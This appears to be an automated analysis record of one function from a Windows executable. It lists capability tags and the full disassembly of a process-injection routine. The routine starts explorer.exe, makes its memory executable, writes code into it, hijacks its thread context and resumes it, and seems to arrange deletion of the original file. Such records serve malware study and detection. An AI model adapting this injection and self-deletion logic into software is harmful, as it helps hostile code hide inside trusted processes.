Function at 0x406c66
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
mov eax, 0x475283
call fcn.004461a8
mov eax, 0x11c8
call fcn.004468d0
push ebx
push esi
xor ebx, ebx
push edi
lea eax, [ebp - 0xd]
mov edi, 0x47e5e0
mov esi, 0x47e5d8
push ebx
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x30], esi
call fcn.004029f5
lea eax, [ebp - 0x5c]
push 0x104
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.004023dd
mov ecx, dword [eax]
mov byte [ebp - 4], 1
mov byte [eax + 4], 1
call fcn.00402a6a
mov eax, dword [eax]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], bl
call fcn.004024ef
push ebx
lea eax, [ebp - 0x84]
push ebx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402c39
sub esp, 0x28
lea eax, [ebp - 0x50]
mov dword [ebp - 0x24], esp
mov ecx, esp
push ebx
push eax
mov byte [ebp - 4], 2
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00403b7a
call fcn.004560f5
add esp, 0x28
cmp al, bl
jne 0x406d44
cmp byte [ebp + 8], bl
je 0x406f2f
sub esp, 0x28
lea eax, [ebp - 0x84]
mov dword [ebp - 0x24], esp
mov ecx, esp
push ebx
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00403b7a
call fcn.004560f5
add esp, 0x28
cmp al, bl
je 0x406f2f
push 6
mov esi, str.explorer.exe
pop ecx
lea edi, [ebp - 0x59c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7b
xor eax, eax
pop ecx
lea edi, [ebp - 0x582]
rep stosd dword es:[edi], eax
push 0x44
pop edx
stosw word es:[edi], ax
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xc4]
mov dword [ebp - 0xc8], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc8]
push eax
push ebx
push ebx
push edx
push ebx
push ebx
lea eax, [ebp - 0x59c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x406da6
mov byte [ebp + 0xb], bl
jmp 0x406f33
mov ecx, 0x30c
xor eax, eax
lea edi, [ebp - 0x11d0]
mov dword [ebp - 0x11d4], ebx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, 0x47e608
mov dword [ebp - 0x9cc], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x9c8], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x9c4], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x9c0], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x9bc], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x9b8], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x9b0], al
mov eax, dword [ebp - 0x48]
cmp eax, ebx
jne 0x406e15
mov eax, edi
mov esi, 0x104
push esi
push eax
lea eax, [ebp - 0x9af]
push eax
call fcn.00447005
add esp, 0xc
cmp byte [ebp + 8], bl
je 0x406e49
cmp dword [ebp - 0x7c], ebx
je 0x406e38
mov edi, dword [ebp - 0x7c]
push esi
lea eax, [ebp - 0x7a7]
push edi
push eax
call fcn.00447005
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
lea eax, [ebp - 0x9d0]
push ebx
push eax
push dword [ebp - 0x20]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x406ff8
mov eax, 0x406f5f
sub ecx, eax
cmp ecx, 0x800
ja 0x406d9e
push ecx
push eax
lea eax, [ebp - 0x11d0]
push eax
call fcn.00446cd0
add esp, 0xc
lea eax, [ebp - 0x394]
mov dword [ebp - 0x394], 0x10003
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2d0]
mov edi, 0xc35
lea esi, [eax - 0xc35]
and esi, 0xffffffe0
mov dword [ebp - 0x11d4], esi
lea eax, [esi - 4]
mov dword [ebp - 0x2d0], eax
lea eax, [esi + 4]
mov dword [ebp - 0x2dc], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push edi
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
lea eax, [ebp - 0x11d4]
push edi
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x394]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
mov byte [ebp + 0xb], 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.00401f6c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.00401f6c
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + 0xb]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret